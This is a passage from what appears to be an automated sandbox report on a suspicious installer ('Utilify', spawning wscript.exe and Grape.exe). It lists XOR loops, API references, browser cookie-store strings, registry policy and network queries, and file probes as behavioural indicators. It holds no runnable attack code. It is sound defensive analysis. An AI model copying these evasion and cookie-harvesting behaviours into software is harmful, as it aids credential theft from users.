code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4152120; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4154448; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4158144; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4159588; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4163992; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4164757; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4170246; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4176882; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4184036; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4184666; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4191548; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4199318; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4202682; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4206008; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4208052; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4210094; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4212108; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4214128; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4216152; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4218168; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4220040; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4222464; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4223244; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4224584; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4226656; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.tmp" at offset 4228711; code bytes = 803031:T4c6,Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp")32:T697,Found string "net/url_request_context/app_request/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/extensions/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/isolated_media/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/main/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/main_media/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/mirroring/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/proxy/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/safe_browsing/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/system/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "net/url_request_context/unknown/0x?/cookie_monster/cookies" (Indicator: "/cookies"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp")33:Tbe5,file/memory contains long string with (Indicator: "sendmessage"; File: "wscript.exe") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "FINDWINDOWBYCLASSNAME" (Indicator: "findwindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "FINDWINDOWBYWINDOWNAME" (Indicator: "findwindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "SENDMESSAGE" (Indicator: "sendmessage"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "POSTMESSAGE" (Indicator: "postmessage"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function FindWindowByWindowName(const WindowName: String): HWND;" (Indicator: "findwindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function SendMessage(const Wnd: HWND; const Msg, WParam, LParam: LongInt): LongInt;" (Indicator: "sendmessage"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function PostMessage(const Wnd: HWND; const Msg, WParam, LParam: LongInt): Boolean;" (Indicator: "postmessage"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function FindWindowByClassName(const ClassName: String): HWND;" (Indicator: "findwindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp")34:T2009,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acbd7eff7f0000000000000000000051ed2780ff7f000000000000e301000000000000000000006ac84f7c87bc00002a0000000000000020be0eefe30100008fec2780ff7f0000e0acbd7eff7f0000e0acbd7eff7f0000000000000000000000000000ff7f0000ffffff7fb844000000000000000000000000000000000000d8ceb17eff7f00002a0000000000000069c36a7eff7f00003100000000000000dc02000000000000e0020000000000001100011000000000b0cc2f07c200000003a33f7eff7f0000b0cc2f07c200000000000000000000002b00000000000000000000000000000020b0707eff7f0000b43f6f7eff7f0000e0ceb17e (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000003befe30100000b8e2580ff7f000000003befe301000002000000e30100003800000000000000400000000000000030033befe3010000b8d12f07c2000000000000000000000003000000000000000000000000000000000000000000000020100befe3010000000000000000000000000befe3010000d8ed74f1e3010000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000480975f1e301000004000000000000003800000000000000f0983e7eff7f00003800000000000000380000000000000030d32f07c2000000c00cff4fff7f000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b04c5cff7f0000070000000000000000000000000000000100000000000000806306f2e30100000000000000000000e0bf22f2e30100004c983e7eff7f00007013faf2e3010000b3cef54fff7f0000300d23f2e3010000004f4c5cff7f0000d0b04c5cff7f000000000000000000000000000000000000300d23f2e3010000806306f2e3010000102816f2e301000088d32f07c20000004c983e7eff7f0000010000000000000088d32f07c2000000102816f2e3010000300d23f2e3010000010000000000000002bcf54fff7f0000601023f2e3010000d07494f2e3010000feffffff040000007df04b5cff7f0000702916f2 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000806306f2e30100000000000000000000e0bf22f2e30100004c983e7eff7f0000701ffaf2e3010000b3cef54fff7f0000100923f2e3010000384f4c5cff7f0000d0b04c5cff7f000000000000000000000000000000000000100923f2e3010000806306f2e3010000102816f2e301000080d32f07c20000004c983e7eff7f0000010000000000000080d32f07c2000000102816f2e3010000100923f2e3010000010000000000000002bcf54fff7f00000000000000000000d07494f2e3010000601023f204000000feffffffffffffff806306f2e30100007df04b5cff7f000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000401000000000000901014efe301000001000000000000000000000000000000000000000000000000000000000000008d29596eff7f0000020100000000000030162780ff7f00000401000000000000000000000000000068bcbf07c20000001b8008000000000020bdbf07c20000005806000000000000d0c3bf07c20000001800000000000000000000000000000000000000ff7f000018000000000000000000000000000000d0c3bf07c2000000f122596eff7f0000e8c4bf07c200000000c3bf07c2000000e8c3bf07c2000000250c000000000000d0c3bf07c200000018000000c20000000000000000000000ffffffff0000000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe301000000004e0000000000d6672580ff7f0000efbe000000000000007512efe3010000e09273f1e3010000007512efe30100000000000000000000582f15efe3010000c8bcbf07c2000000b49d9af1e3010000806612efe3010000d6672580ff7f0000ffffffff00000000d0d414efe30100000000000000000000000000000000000001000000000000000000000000000000202e15efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe3010000c7606edbae9c0000d6672580ff7f0000efbe000000000000806a12efe3010000e09273f1e3010000806a12efe30100000000000000000000083215efe3010000c8bcbf07c2000000b49d9af1e3010000806612efe3010000d6672580ff7f0000ffffffff00000000b0d614efe30100000000000000000000000000000000000001000000000000000000000000000000d03015efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe3010000c7606edbae9c0000d6672580ff7f0000efbe000000000000607212efe3010000e09273f1e3010000607212efe30100000000000000000000083215efe3010000c8bcbf07c2000000b49d9af1e3010000806612efe3010000d6672580ff7f0000ffffffff00000000d0d914efe30100000000000000000000000000000000000001000000000000000000000000000000d03015efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe3010000c7606edbae9c0000d6672580ff7f0000efbe000000000000c07212efe3010000e09273f1e3010000c07212efe30100000000000000000000c83715efe3010000c8bcbf07c2000000b49d9af1e3010000806612efe3010000d6672580ff7f0000ffffffff0000000070da14efe30100000000000000000000000000000000000001000000000000000000000000000000903615efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe3010000c7606edbae9c0000d6672580ff7f0000efbe000000000000a03415efe3010000e09273f1e3010000a03415efe30100000000000000000000986b15efe3010000c8bcbf07c2000000b49d9af1e3010000e03215efe3010000d6672580ff7f0000ffffffff0000000090d814efe30100000000000000000000000000000000000001000000000000000000000000000000606a15efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a2580ff7f000000000cefe30100000000000000000000000000000000000000000cefe3010000c7606edbae9c0000d6672580ff7f0000efbe000000000000803615efe3010000e09273f1e3010000803615efe30100000000000000000000986b15efe3010000c8bcbf07c2000000b49d9af1e3010000e03215efe3010000d6672580ff7f0000ffffffff0000000060d614efe30100000000000000000000000000000000000001000000000000000000000000000000606a15efe30100009c969bf1e3010000e09273f1e30100000b939bf1e301000010bebf07c200000031d4967dff7f00000000000000000000ffffffffae9c000000000000 (UID: 00000000-00002804)35:T101b,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000001800000000000000323f7661c00600007afb4f7c87bc000006000000000000000000fa7bf77f0000a402b55bff7f000006000000e3010000d8f1477eff7f0000e0f82f07c2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fa7b (UID: 00000000-00002804) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000dcf12f07c2000000000000000000000090f52f07c200000048f60eefe3010000f0eb2f07c200000000000000000000004ef78d7cff7f0000dcf12f07c20000000000000000000000000000000000000099dd477eff7f0000000000000000000080eb2f07c200000090eb2f07c200000001000000c200000000000000 (UID: 00000000-00002804) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b8e7cff7f00000000025bff7f0000000000000000000000000000000000000806035bff7f00000001000000000000f0983e7eff7f00000001000000000000000100000000000000000000000000000006035bff7f000001000000000000000f18025bff7f000000000000000000000006035bff7f000000000000 (UID: 00000000-00002804) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31f356ff7f0000708bf556ff7f00000200000000000000708bf556ff7f000000000000000000000300000000000000b131f356ff7f0000a815f656ff7f000050ae07f2e301000060ae07f2e3010000888bf556ff7f00000100000000000000239f407eff7f00000000000000000000888bf556ff7f000006000000 (UID: 00000000-00002804) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d0350ff7f0000c0fe0450ff7f00000400000000000000c0fe0450ff7f000000000000000000000500000000000000453d0350ff7f0000286a0550ff7f0000be5a8f7cff7f000058be13f2e3010000f2647661c0060000b08e8f7cff7f0000239f407eff7f00000100000000000000d1320350ff7f00000000887c (UID: 00000000-00002804) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000300000000000000000000757ff7f000000000000000000000000000000000000883f0857ff7f00000001000000000000f0983e7eff7f0000000100000000000000010000000000000000000000000000803f0857ff7f00000100000000000000bf100757ff7f00000000000000000000803f0857ff7f000001000000 (UID: 00000000-00002804) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000180000000000000013f29e5e984700009ce5b39e16750000060000000000000000009f76f67f0000a402b55bff7f000006000000bd010000d8f1477eff7f0000f0fcefc29b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009f76 (UID: 00000000-00006836) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b8e7cff7f00000000025bff7f0000000000000000000000000000000000000806035bff7f00000001000000000000f0983e7eff7f00000001000000000000000100000000000000000000000000000006035bff7f000001000000000000000f18025bff7f000000000000000000000006035bff7f000000000000 (UID: 00000000-00006836) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31f356ff7f0000708bf556ff7f00000200000000000000708bf556ff7f000000000000000000000300000000000000b131f356ff7f0000a815f656ff7f000000dd8d66bd01000010dd8d66bd010000888bf556ff7f00000100000000000000239f407eff7f00000000000000000000888bf556ff7f000006000000 (UID: 00000000-00006836) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d0350ff7f0000c0fe0450ff7f00000400000000000000c0fe0450ff7f000000000000000000000500000000000000453d0350ff7f0000286a0550ff7f0000be5a8f7cff7f0000f8d98d66bd010000739a9e5e98470000b08e8f7cff7f0000239f407eff7f00000100000000000000d1320350ff7f00000000887c (UID: 00000000-00006836) "wscript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a8f7cff7f000000000757ff7f000000000000000000000000000000000000883f0857ff7f00000001000000000000f0983e7eff7f0000000100000000000000010000000000000000000000000000803f0857ff7f00000100000000000000bf100757ff7f00000000000000000000803f0857ff7f000000000000 (UID: 00000000-00006836)36:T85d,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Utilify_8u8a563i.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Utilify_8u8a563i.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Utilify_8u8a563i.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Utilify_8u8a563i.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Grape.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")37:T42c,Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API "function FindWindowByWindowName(const WindowName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function FindWindowByClassName(const ClassName: String): HWND;" (Indicator: "FindWindow"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp")38:T45d,Found reference to API "function GetVersionComponents(const Filename: String; var Major, Minor, Revision, Build: Word): Boolean;" (Indicator: "GetVersion"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function GetVersionNumbers(const Filename: String; var VersionMS, VersionLS: Cardinal): Boolean;" (Indicator: "GetVersion"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function GetVersionNumbersString(const Filename: String; var Version: String): Boolean;" (Indicator: "GetVersion"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp")39:T9c9,"Grape.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Grape.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")3a:T675,"Grape.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004472-00000C17-914377622 "Grape.exe" queries volume information of "C:\Users" at 00000000-00004472-00000C17-914378153 "Grape.exe" queries volume information of "C:\Users\%OSUSER%" at 00000000-00004472-00000C17-914378507 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData" at 00000000-00004472-00000C17-914378693 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00004472-00000C17-914378882 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite" at 00000000-00004472-00000C17-914379183 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\resources" at 00000000-00004472-00000C17-914379488 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\resources\app.asar" at 00000000-00004472-00000C17-914379974 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\SuperMaxionQuickMaxlite\readme.txt" at 00000000-00004472-00000C17-914439076 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\setup.txt" at 00000000-00004472-00000C17-945759765 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\setup.txt" at 00000000-00004472-00000C17-975975974 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\setup.txt" at 00000000-00004472-00000C17-1006194974 "Grape.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\setup.txt" at 00000000-00004472-00000C17-10364605733b:T4ed,"wscript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "wscript.exe" (Path: 